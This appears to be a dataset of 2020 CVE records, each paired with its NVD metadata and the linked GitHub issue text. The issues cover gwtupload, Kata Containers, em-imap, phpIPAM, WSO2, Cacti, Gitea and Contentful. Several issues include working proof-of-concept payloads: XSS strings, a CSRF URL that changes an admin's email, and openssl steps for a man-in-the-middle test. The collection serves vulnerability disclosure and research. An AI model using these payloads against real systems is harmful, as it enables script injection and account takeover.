[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/manolo/gwtupload/issues/33" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://logicaltrust.net/blog/2020/02/gwt-upload.html" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/manolo/gwtupload/issues/33" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://logicaltrust.net/blog/2020/02/gwt-upload.html" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:gwtupload_project:gwtupload:1.0.3:*:*:*:*:*:*:*", "matchCriteriaId": "83DF83B6-87E9-4C19-8616-59B0CE2A0364", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "434" ]

434

https://github.com/manolo/gwtupload/issues/33

[ "Exploit", "Third Party Advisory" ]

github.com

[ "manolo", "gwtupload" ]

There is a vulnerability which allows to perform DoS attack against the application server. The problem lies in handling `delay` parameter when upload is initiated (`gwtupload.server.UploadServlet#parsePostRequest`). Value from this parameter is used as an argument for `Thread.sleep` invocation. Malicious user can specify even max integer value 2147483647, which would cause a thread to sleep for almost 25 days (`gwtupload.server.AbstractUploadListener#update`). Additionally, the value from `delay` parameter is assigned the field which in case of servlets behaves as a global variable. It means every further request will use this value and also will be put to sleep. Putting a thread to sleep excludes it from a limited set of available threads, so after a suitable number of upload requests (Tomcat by default has limit of 200 threads) the whole application will become unresponsive and will not accept any new requests. https://github.com/manolo/gwtupload/blob/master/core/src/main/java/gwtupload/server/UploadServlet.java ``` protected String parsePostRequest(HttpServletRequest request, HttpServletResponse response) { try { String delay = request.getParameter(PARAM_DELAY); String maxFilesize = request.getParameter(PARAM_MAX_FILE_SIZE); maxSize = maxFilesize != null && maxFilesize.matches("[0-9]*") ? Long.parseLong(maxFilesize) : maxSize; uploadDelay = Integer.parseInt(delay); } catch (Exception e) { } [...] protected AbstractUploadListener createNewListener(HttpServletRequest request) { int delay = request.getParameter("nodelay") != null ? 0 : uploadDelay; if (isAppEngine()) { return new MemoryUploadListener(delay, getContentLength(request)); } else { return new UploadListener(delay, getContentLength(request)); } } ``` https://github.com/manolo/gwtupload/blob/master/core/src/main/java/gwtupload/server/AbstractUploadListener.java ``` // Just a way to slow down the upload process and see the progress bar in fast networks. if (slowUploads > 0 && done < total) { try { Thread.sleep(slowUploads); } catch (Exception e) { exception = new RuntimeException(e); } ``` The same way the servlet accepts `maxFileSize` parameter, but its abuse will only prevent from uploading files; the server won't suffer.

Upload delay resulting in DoS

https://api.github.com/repos/manolo/gwtupload/issues/33/comments

3

2020-02-17T21:17:42Z

2021-02-14T16:44:21Z

https://github.com/manolo/gwtupload/issues/33

566,521,167

33

1,221

CVE-2020-2024

2020-05-19T21:15:10.070

An improper link resolution vulnerability affects Kata Containers versions prior to 1.11.0. Upon container teardown, a malicious guest can trick the kata-runtime into unmounting any mount point on the host and all mount points underneath it, potentiality resulting in a host DoS.

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[ { "source": "psirt@paloaltonetworks.com", "tags": [ "Third Party Advisory" ], "url": "https://github.com/kata-containers/runtime/issues/2474" }, { "source": "psirt@paloaltonetworks.com", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/kata-containers/runtime/pull/2475" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://github.com/kata-containers/runtime/issues/2474" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/kata-containers/runtime/pull/2475" } ]

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[ "59" ]

59

https://github.com/kata-containers/runtime/issues/2474

[ "Third Party Advisory" ]

github.com

[ "kata-containers", "runtime" ]

# Description of problem A container's host path might be changed by the guest to point to some other places by placing a symlink there. kata runtime should not follow link when unmounting them otherwise we might end up unmounting some other mountpoints unexpectedly.

harden container hostpath cleanup

https://api.github.com/repos/kata-containers/runtime/issues/2474/comments

0

2020-02-19T12:52:15Z

2020-05-29T14:05:22Z

https://github.com/kata-containers/runtime/issues/2474

567,548,955

2,474

1,222

CVE-2020-13163

2020-05-19T22:15:12.090

em-imap 0.5 uses the library eventmachine in an insecure way that allows an attacker to perform a man-in-the-middle attack against users of the library. The hostname in a TLS server certificate is not verified.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ConradIrwin/em-imap/issues/25" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://securitylab.github.com/advisories/GHSL-2020-095-conradirwin-em-imap" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ConradIrwin/em-imap/issues/25" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://securitylab.github.com/advisories/GHSL-2020-095-conradirwin-em-imap" } ]

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[ "295" ]

295

https://github.com/ConradIrwin/em-imap/issues/25

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ConradIrwin", "em-imap" ]

# GitHub Security Lab (GHSL) Vulnerability Report: `GHSL-2020-095` The [GitHub Security Lab](https://securitylab.github.com) team has identified potential security vulnerabilities in [em-imap](https://github.com/ConradIrwin/em-imap). We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team. If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at `securitylab@github.com` (please include your `GHSL-2020-095`). If you are _NOT_ the correct point of contact for this report, please let us know! ## Summary Missing hostname validation allows an attacker to perform a man in the middle attack against users of the library. ## Product em-imap ## Tested Version v0.5 ### Missing SSL/TLS certificate hostname validation [em-imap](https://github.com/ConradIrwin/em-imap) uses the library [eventmachine](https://github.com/eventmachine/eventmachine) in an insecure way that allows an attacker to perform a man in the middle attack against users of the library. #### Impact An attacker can assume the identity of a trusted server and introduce malicious data in an otherwise trusted place. #### Remediation Implement hostname validation. #### Resources To trigger the vulnerability, a simple TLS enabled listening daemon is sufficient as described in the following snippets. ```sh # Add a fake DNS entry to /etc/hosts. $ echo "127.0.0.1 test.imap.gmail.com" | sudo tee -a /etc/hosts # Create a certificate. $ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes # Listen on port 993 with TLS enabled. $ openssl s_server -key key.pem -cert cert.pem -accept 993 Using auto DH parameters Using default temp ECDH parameters ACCEPT -----BEGIN SSL SESSION PARAMETERS----- MFUCAQECAgMDBALAMAQABDB6rCbPKv6fm6PV8kaehPOpnJS6alzqvMImVDzjsSHm ll1shwxJqlreT6XL5va01tahBgIEXsJTeqIEAgIcIKQGBAQBAAAA -----END SSL SESSION PARAMETERS----- Shared ciphers:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:DHE-RSA-AES256-SHA256:DHE-RSA-CAMELLIA256-SHA256:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES256-SHA:DHE-RSA-CAMELLIA256-SHA:AES256-GCM-SHA384:AES256-SHA256:CAMELLIA256-SHA256:AES256-SHA:CAMELLIA256-SHA:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-CAMELLIA128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES128-SHA:DHE-RSA-CAMELLIA128-SHA:AES128-GCM-SHA256:AES128-SHA256:CAMELLIA128-SHA256:AES128-SHA:CAMELLIA128-SHA CIPHER is ECDHE-RSA-AES256-GCM-SHA384 Secure Renegotiation IS supported ``` Create a sample client with the following contents: ```ruby require 'rubygems' require 'em-imap' EM::run do client = EM::IMAP.new('test.imap.gmail.com', 993, true) client.connect.errback do |error| puts "Connecting failed: #{error}" end.callback do |hello_response| puts "Connecting succeeded!" puts hello_response end.bothback do EM::stop end end ``` Run the example client to see a connection being performed in the listening daemon initialized in the previous steps. ```sh # Run the example client. $ ruby em-imap-client.rb ``` #### References [CWE-297: Improper Validation of Certificate with Host Mismatch](https://cwe.mitre.org/data/definitions/297.html) ## GitHub Security Advisories We recommend you create a private [GitHub Security Advisory](https://help.github.com/en/github/managing-security-vulnerabilities/creating-a-security-advisory) for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are [published](https://help.github.com/en/github/managing-security-vulnerabilities/publishing-a-security-advisory). ## Credit This issue was discovered and reported by GHSL team member [@agustingianni (Agustin Gianni)](https://github.com/agustingianni). ## Contact You can contact the GHSL team at `securitylab@github.com`, please include the `GHSL-2020-095` in any communication regarding this issue. ## Disclosure Policy This report is subject to our [coordinated disclosure policy](https://securitylab.github.com/disclosures#policy).

Security vulnerability: missing SSL hostname validation

https://api.github.com/repos/ConradIrwin/em-imap/issues/25/comments

5

2020-05-18T21:43:41Z

2020-11-23T14:20:57Z

https://github.com/ConradIrwin/em-imap/issues/25

620,524,200

25

1,223

CVE-2020-13225

2020-05-20T04:15:10.427

phpIPAM 1.4 contains a stored cross site scripting (XSS) vulnerability within the Edit User Instructions field of the User Instructions widget.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/phpipam/phpipam/issues/3025" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://www.youtube.com/watch?v=SpFmM03Jl40" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/phpipam/phpipam/issues/3025" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://www.youtube.com/watch?v=SpFmM03Jl40" } ]

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[ "79" ]

79

https://github.com/phpipam/phpipam/issues/3025

[ "Exploit", "Third Party Advisory" ]

github.com

[ "phpipam", "phpipam" ]

Version: 1.4 Within the Edit User Instructions field where you can enter source code you are able to generate scripting that then executes in the user's browser when they click on the instructions page. POC: ``` <body onload=alert(1)></body>``` Additionally, ```<a href=# onmouseover=alert(1)>Text</a>``` will also execute scripting in the browser. POC video is available here: https://youtu.be/SpFmM03Jl40

Stored XSS in User Instructions Widget

https://api.github.com/repos/phpipam/phpipam/issues/3025/comments

3

2020-05-17T10:45:44Z

2020-09-14T10:26:31Z

https://github.com/phpipam/phpipam/issues/3025

619,669,375

3,025

1,224

CVE-2020-13226

2020-05-20T12:15:11.520

WSO2 API Manager 3.0.0 does not properly restrict outbound network access from a Publisher node, opening up the possibility of SSRF to this node's entire intranet.

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[ { "source": "cve@mitre.org", "tags": [ "Vendor Advisory" ], "url": "https://docs.wso2.com/display/Security/Security+Advisories" }, { "source": "cve@mitre.org", "tags": [ "Vendor Advisory" ], "url": "https://docs.wso2.com/display/Security/WSO2+Security+Vulnerability+Management+Process" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/wso2/docs-apim/issues/816" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/wso2/product-apim/issues/7677" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Vendor Advisory" ], "url": "https://docs.wso2.com/display/Security/Security+Advisories" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Vendor Advisory" ], "url": "https://docs.wso2.com/display/Security/WSO2+Security+Vulnerability+Management+Process" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://github.com/wso2/docs-apim/issues/816" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://github.com/wso2/product-apim/issues/7677" } ]

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[ "918" ]

918

https://github.com/wso2/docs-apim/issues/816

[ "Third Party Advisory" ]

github.com

[ "wso2", "docs-apim" ]

**Description:** in a WSO2 API-M deployment, we recommend restricting outbound connections of the Publisher node only to the required internal nodes (only to the nodes which Publisher portal is intended to communicate with) of the deployment. So even if privileged user credentials were exploited to a user with malicious intent, they cannot perform unintended network interactions

Add n/w level security guideline to to restrict outbound connections of Publisher node.

https://api.github.com/repos/wso2/docs-apim/issues/816/comments

1

2020-03-10T05:34:53Z

2020-06-09T07:00:28Z

https://github.com/wso2/docs-apim/issues/816

578,348,516

816

1,225

CVE-2020-13226

2020-05-20T12:15:11.520

WSO2 API Manager 3.0.0 does not properly restrict outbound network access from a Publisher node, opening up the possibility of SSRF to this node's entire intranet.

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[ { "source": "cve@mitre.org", "tags": [ "Vendor Advisory" ], "url": "https://docs.wso2.com/display/Security/Security+Advisories" }, { "source": "cve@mitre.org", "tags": [ "Vendor Advisory" ], "url": "https://docs.wso2.com/display/Security/WSO2+Security+Vulnerability+Management+Process" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/wso2/docs-apim/issues/816" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/wso2/product-apim/issues/7677" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Vendor Advisory" ], "url": "https://docs.wso2.com/display/Security/Security+Advisories" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Vendor Advisory" ], "url": "https://docs.wso2.com/display/Security/WSO2+Security+Vulnerability+Management+Process" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://github.com/wso2/docs-apim/issues/816" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://github.com/wso2/product-apim/issues/7677" } ]

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[ "918" ]

918

https://github.com/wso2/product-apim/issues/7677

[ "Third Party Advisory" ]

github.com

[ "wso2", "product-apim" ]

### Describe your problem(s) Currently, the API endpoint validation (`https://localhost:9443/api/am/publisher/v1.0/apis/validate-endpoint?endpointUrl=''`) in the Publisher portal takes place via a direct HTTP Head call initiated from the Publisher node. This can be further improved by routing this request through the Gateway node, even though the original behavior is the intended. ### Describe your solution Make endpoint validation request goes through WSO2 API Gateway. ### How will you implement it Deploy the API "ValidateEndpoint" by default for each tenant in API Gateway. If needed, provide admin users with the capability to set rate-limiting as well, so that request bursting will be prevented. ---

Deploy endpoint validation API in API Gateway

https://api.github.com/repos/wso2/product-apim/issues/7677/comments

1

2020-03-10T05:23:03Z

2020-06-09T07:01:55Z

https://github.com/wso2/product-apim/issues/7677

578,345,111

7,677

1,226

CVE-2020-13230

2020-05-20T14:15:11.407

In Cacti before 1.2.11, disabling a user account does not immediately invalidate any permissions granted to that account (e.g., permission to view logs).

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 4, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:S/C:P/I:N/A:N", "version": "2.0" }, "exploitabilityScore": 8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 4.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 1.4, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

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[ "281" ]

281

https://github.com/Cacti/cacti/issues/3343

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "Cacti", "cacti" ]

**Describe the bug** Cacti admin console provides a functionality to disable a created user which takes his privileges to perform any action but if a page is auto-refreshed a disabled user can view updated data. **To Reproduce** Steps to reproduce the behavior: 1. Log in with Admin account and navigate to http://192.168.56.106/cacti/user_admin.php?action=user_edit&id=5&tab=realms 2. Give the new user permission to view logs. 3. Login to new user's account and navigate http://192.168.56.106/cacti/clog_user.php 4. From Admin's account disable the created user. **Actual behavior** A disabled user can view the system logs and the logs are even updating after the refresh time. **Expected behavior** A disabled user should not be privileged to view the system logs. - OS: Ubuntu - Browser: Firefox - Version - Cacti 1.2.8

Improper Access Control on disabling a user.

https://api.github.com/repos/Cacti/cacti/issues/3343/comments

2

2020-03-11T14:37:20Z

2020-06-30T12:20:21Z

https://github.com/Cacti/cacti/issues/3343

579,312,165

3,343

1,227

CVE-2020-13231

2020-05-20T14:15:11.487

In Cacti before 1.2.11, auth_profile.php?action=edit allows CSRF for an admin email change.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/Cacti/cacti/issues/3342" }, { "source": "cve@mitre.org", "tags": [ "Release Notes" ], "url": "https://github.com/Cacti/cacti/releases/tag/release%2F1.2.11" }, { "source": "cve@mitre.org", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ICJMWSY77IIGZYR6FE6NAQZFBO42VECO/" }, { "source": "cve@mitre.org", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/Q3PCDGNELH7HEBIXRNT5J5EWQEXQAU6B/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/Cacti/cacti/issues/3342" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Release Notes" ], "url": "https://github.com/Cacti/cacti/releases/tag/release%2F1.2.11" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ICJMWSY77IIGZYR6FE6NAQZFBO42VECO/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/Q3PCDGNELH7HEBIXRNT5J5EWQEXQAU6B/" } ]

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[ "352" ]

352

https://github.com/Cacti/cacti/issues/3342

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "Cacti", "cacti" ]

**Describe the bug** A malformed GET request at http://192.168.56.106/cacti/auth_profile.php?action=edit can lead to admin email change. Affected URI http://192.168.56.106/cacti/auth_profile.php?action=edit **To Reproduce** Steps to reproduce the behavior: 1. Go to 'http://192.168.56.106/cacti/auth_profile.php?action=edit' 2. Turn on a proxy interceptor, I used Burp. 3. Change the email and save the request. 4. Change the email in the saved request and send the URL to a logged in admin. 5. Admin email will be changed Malformed Request: http://192.168.56.106/cacti/auth_profile.php?tab=general&action=update_data&name=email_address&value=attacker@abc.com **Expected behavior** Such actions should not be requested with GET method and anti-CSRF tokens should be used. - OS: Ubuntu - Browser: Firefox - Version: Cacti Version 1.2.8

CSRF at Admin Email

https://api.github.com/repos/Cacti/cacti/issues/3342/comments

2

2020-03-11T13:32:33Z

2020-06-30T12:20:22Z

https://github.com/Cacti/cacti/issues/3342

579,267,172

3,342

1,228

CVE-2020-13246

2020-05-20T18:15:12.667

An issue was discovered in Gitea through 1.11.5. An attacker can trigger a deadlock by initiating a transfer of a repository's ownership from one organization to another.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking", "Patch", "Third Party Advisory" ], "url": "https://github.com/go-gitea/gitea/issues/10549" }, { "source": "cve@mitre.org", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/go-gitea/gitea/pull/11438" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://www.youtube.com/watch?v=DmVgADSVS88" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Issue Tracking", "Patch", "Third Party Advisory" ], "url": "https://github.com/go-gitea/gitea/issues/10549" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/go-gitea/gitea/pull/11438" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://www.youtube.com/watch?v=DmVgADSVS88" } ]

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[ "667" ]

667

https://github.com/go-gitea/gitea/issues/10549

[ "Exploit", "Issue Tracking", "Patch", "Third Party Advisory" ]

github.com

[ "go-gitea", "gitea" ]

- Gitea version (or commit ref): v1.11.1 - Git version: 2.20.1 - Operating system: Debian 10.3 - Database (use `[x]`): - [ ] PostgreSQL - [ ] MySQL - [ ] MSSQL - [x] SQLite - Can you reproduce the bug at https://try.gitea.io: - [ ] Yes (provide example URL) - [x] No - [ ] Not relevant - Log gist: When I restart the frozen server: ``` 2020/03/01 08:52:10 ...eful/manager_unix.go:133:handleSignals() [W] PID 10968. Received SIGTERM. Shutting down... 2020/03/01 08:52:10 ...eful/server_hooks.go:47:doShutdown() [I] PID: 10968 Listener ([::]:3000) closed. 2020/03/01 08:52:10 ...rvices/pull/check.go:214:TestPullRequests() [I] PID: 10968 Pull Request testing shutdown 2020/03/01 08:52:10 .../ssh/ssh_graceful.go:21:listen() [I] SSH Listener: :23000 Closed 2020/03/01 08:52:10 ...eful/server_hooks.go:47:doShutdown() [I] PID: 10968 Listener ([::]:23000) closed. 2020/03/01 08:53:10 .../graceful/manager.go:184:doHammerTime() [W] Setting Hammer condition 2020/03/01 08:53:10 ...eful/server_hooks.go:64:doHammer() [W] Forcefully shutting down parent 2020/03/01 08:53:10 cmd/web.go:206:runWeb() [I] HTTP Listener: 0.0.0.0:3000 Closed 2020/03/01 08:53:10 routers/user/home.go:132:Dashboard() [E] GetMirrorRepositories: Graceful Manager called Hammer 2020/03/01 08:53:10 ...ters/repo/setting.go:382:SettingsPost() [E] TransferOwnership: GetTeams: Graceful Manager called Hammer 2020/03/01 08:53:10 ...les/context/panic.go:35:1() [E] PANIC:: sync: negative WaitGroup counter /usr/local/go/src/sync/waitgroup.go:74 (0x485ee8) /usr/local/go/src/sync/waitgroup.go:99 (0x106ac52) /go/src/code.gitea.io/gitea/modules/graceful/server.go:253 (0x106ac36) /usr/local/go/src/net/http/server.go:387 (0x74af83) /usr/local/go/src/bufio/bufio.go:625 (0x5845c3) /usr/local/go/src/net/http/server.go:1572 (0x751169) /usr/local/go/src/net/http/server.go:1541 (0x750df5) /go/src/code.gitea.io/gitea/vendor/gitea.com/macaron/macaron/response_writer.go:69 (0x9eb136) /usr/local/go/src/bytes/buffer.go:239 (0x50c854) /go/src/code.gitea.io/gitea/vendor/gitea.com/macaron/macaron/render.go:575 (0x9ea19a) /go/src/code.gitea.io/gitea/vendor/gitea.com/macaron/macaron/render.go:586 (0x9ea3fa) /go/src/code.gitea.io/gitea/vendor/gitea.com/macaron/macaron/context.go:157 (0x9e18a8) /go/src/code.gitea.io/gitea/vendor/gitea.com/macaron/macaron/context.go:167 (0xfe9ace) /go/src/code.gitea.io/gitea/modules/context/context.go:140 (0xfe9a7a) /go/src/code.gitea.io/gitea/modules/context/context.go:186 (0xfea146) /go/src/code.gitea.io/gitea/modules/context/context.go:174 (0x16d32e9) /go/src/code.gitea.io/gitea/routers/repo/setting.go:382 (0x16d32b9) /usr/local/go/src/reflect/value.go:460 (0x497625) /usr/local/go/src/reflect/value.go:321 (0x496de3) /go/src/code.gitea.io/gitea/vendor/gitea.com/macaron/inject/inject.go:177 (0x9b0829) /go/src/code.gitea.io/gitea/vendor/gitea.com/macaron/inject/inject.go:137 (0x9b01d9) /go/src/code.gitea.io/gitea/vendor/gitea.com/macaron/macaron/context.go:121 (0x9e13a8) ``` ## Description Today I encountered a strange bug. When I transfer a mirror repository, the server freezes until I manually restart it. I checked the console and log and I don't see any error or warning. When I re-migrated the same repository from Github and try to transfer it, it succeeded. But the problem with the old repository persisted. ## Screenshots

Server freezes when transferring the ownership

https://api.github.com/repos/go-gitea/gitea/issues/10549/comments

27

2020-03-01T08:47:20Z

2020-11-24T02:14:54Z

https://github.com/go-gitea/gitea/issues/10549

573,508,870

10,549

1,229

CVE-2020-13258

2020-05-21T17:15:10.353

Contentful through 2020-05-21 for Python allows reflected XSS, as demonstrated by the api parameter to the-example-app.py.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/contentful/the-example-app.py/issues/44" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/contentful/the-example-app.py/issues/44" } ]

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[ "79" ]

79

https://github.com/contentful/the-example-app.py/issues/44

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "contentful", "the-example-app.py" ]

Hi Team I found a reflected xss vulnerability. routes/base.py ``` def query_string(): """Returns a sanitized query string.""" rejected_keys = [ 'space_id', 'delivery_token', 'preview_token', 'editorial_features' ] args = {k: v for k, v in request.args.items() if k not in rejected_keys} if not args: return '' return '?{0}'.format( '&'.join( '{0}={1}'.format(k, v) for k, v in args.items() ) ) ``` ## Proof of concept: ``` https://the-example-app-py.contentful.com/?cda'"<evil><script>alert(1)</script>&locale=locale=de-DE ``` ``` {'api': 'cda\'"<script>alert(1)</script>', 'locale': 'en-US'} ``` ``` Searching 24 files for "{{ query_string }}" (regex) /Users/CongRong/github/the-example-app.py/views/course.dhtml: 17 <div class="table-of-contents__item"> 18 <a 19: href="/courses/{{ course.slug }}{{ query_string }}" 20 class="table-of-contents__link {{ 'visited' if course.id in visited_lessons else '' }} {{ 'active' if not lesson else '' }}" 21 >{{ 'courseOverviewLabel'|trans(current_locale.code) }}</a> .. 26 <div class="table-of-contents__item"> 27 <a 28: href="/courses/{{ course.slug }}/lessons/{{ course_lesson.slug }}{{ query_string }}" 29 class="table-of-contents__link {{ 'visited' if course_lesson.id in visited_lessons else '' }} {{ 'active' if lesson and course_lesson.id == lesson.id else '' }}" 30 >{{ course_lesson.title }}</a> .. 76 <div class="course__overview-cta-wrapper"> 77 <a 78: href="/courses/{{ course.slug}}/lessons/{{ next_lesson.slug }}{{ query_string }}" 79 class="course__overview-cta cta" 80 >{{ 'startCourseLabel'|trans(current_locale.code) }}</a> /Users/CongRong/github/the-example-app.py/views/course.html: 17 <div class="table-of-contents__item"> 18 <a 19: href="/courses/{{ course.slug }}{{ query_string }}" 20 class="table-of-contents__link {{ 'visited' if course.id in visited_lessons else '' }} {{ 'active' if not lesson else '' }}" 21 >{{ 'courseOverviewLabel'|trans(current_locale.code) }}</a> .. 25 <div class="table-of-contents__item"> 26 <a 27: href="/courses/{{ course.slug }}/lessons/{{ course_lesson.slug }}{{ query_string }}" 28 class="table-of-contents__link {{ 'visited' if course_lesson.id in visited_lessons else '' }} {{ 'active' if lesson and course_lesson.id == lesson.id else '' }}" 29 >{{ course_lesson.title }}</a> .. 74 <div class="course__overview-cta-wrapper"> 75 <a 76: href="/courses/{{ course.slug}}/lessons/{{ next_lesson.slug }}{{ query_string }}" 77 class="course__overview-cta cta" 78 >{{ 'startCourseLabel'|trans(current_locale.code) }}</a> /Users/CongRong/github/the-example-app.py/views/courses.dhtml: 16 <ul class="sidebar-menu__list"> 17 <li class="sidebar-menu__item"> 18: <a href="/courses{{ query_string }}" class="sidebar-menu__link {{ '' if current_category else 'active' }}">{{ 'allCoursesLabel'|trans(current_locale.code) }}</a> 19 </li> 20 .. 22 <li class="sidebar-menu__item"> 23 <a 24: href="/courses/categories/{{ category.slug }}{{ query_string }}" 25 class="sidebar-menu__link {{ 'active' if current_category and current_category.id == category.id else '' }}" 26 >{{ category.title }}</a> /Users/CongRong/github/the-example-app.py/views/courses.html: 16 <ul class="sidebar-menu__list"> 17 <li class="sidebar-menu__item"> 18: <a href="/courses{{ query_string }}" class="sidebar-menu__link {{ '' if current_category else 'active' }}">{{ 